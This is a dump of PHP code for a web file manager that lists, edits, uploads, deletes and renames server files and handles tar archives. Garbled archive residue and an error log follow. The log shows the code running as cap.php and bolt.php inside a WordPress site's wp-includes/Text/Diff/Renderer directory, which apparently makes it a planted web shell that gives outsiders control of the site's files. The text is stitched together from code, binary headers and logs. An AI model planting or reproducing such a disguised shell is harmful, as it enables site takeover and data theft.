			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Renderer/error_log                                                                                  0000644                 00000165525 15217306007 0010246 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
